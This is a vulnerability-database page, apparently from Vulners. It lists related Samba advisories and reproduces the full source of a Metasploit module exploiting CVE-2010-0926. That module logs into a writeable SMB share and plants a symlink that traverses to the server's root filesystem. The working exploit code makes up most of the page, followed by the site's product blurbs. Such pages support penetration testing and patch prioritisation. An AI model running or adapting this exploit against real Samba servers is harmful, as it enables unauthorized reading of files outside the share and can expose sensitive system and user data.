| Reporter | Title | Published | Views | Family All 47 |
|---|---|---|---|---|
| Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory Vulnerability | 28 Mar 201700:00 | – | zdt | |
| Samba 3.3.x < 3.3.11 / 3.4.x < 3.4.6 / 3.5.x < 3.5.0rc3 Directory Traversal | 9 Jun 201600:00 | – | nessus | |
| MiracleLinux 3 : samba-3.0.33-3.38.0.1.AXS3 (AXSA:2012-264:01) | 14 Jan 202600:00 | – | nessus | |
| Oracle Linux 5 : samba (ELSA-2012-0313) | 12 Jul 201300:00 | – | nessus | |
| RHEL 5 : samba (RHSA-2012:0313) | 21 Feb 201200:00 | – | nessus | |
| RHEL 4 : samba (Unpatched Vulnerability) | 3 Jun 202400:00 | – | nessus | |
| Samba Symlink Traversal Arbitrary File Access (unsafe check) | 8 Feb 201000:00 | – | nessus | |
| SuSE9 Security Update : Samba (YOU Patch Number 12595) | 9 Apr 201000:00 | – | nessus | |
| openSUSE Security Update : cifs-mount (cifs-mount-2128) | 25 Mar 201000:00 | – | nessus | |
| openSUSE Security Update : cifs-mount (cifs-mount-2128) | 25 Mar 201000:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Report
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' # metasploit module
],
'References' =>
[
['CVE', '2010-0926'],
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
])
deregister_options('SMB::ProtocolVersion')
end
def run
print_status("Connecting to the server...")
connect(versions: [1])
smb_login()
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation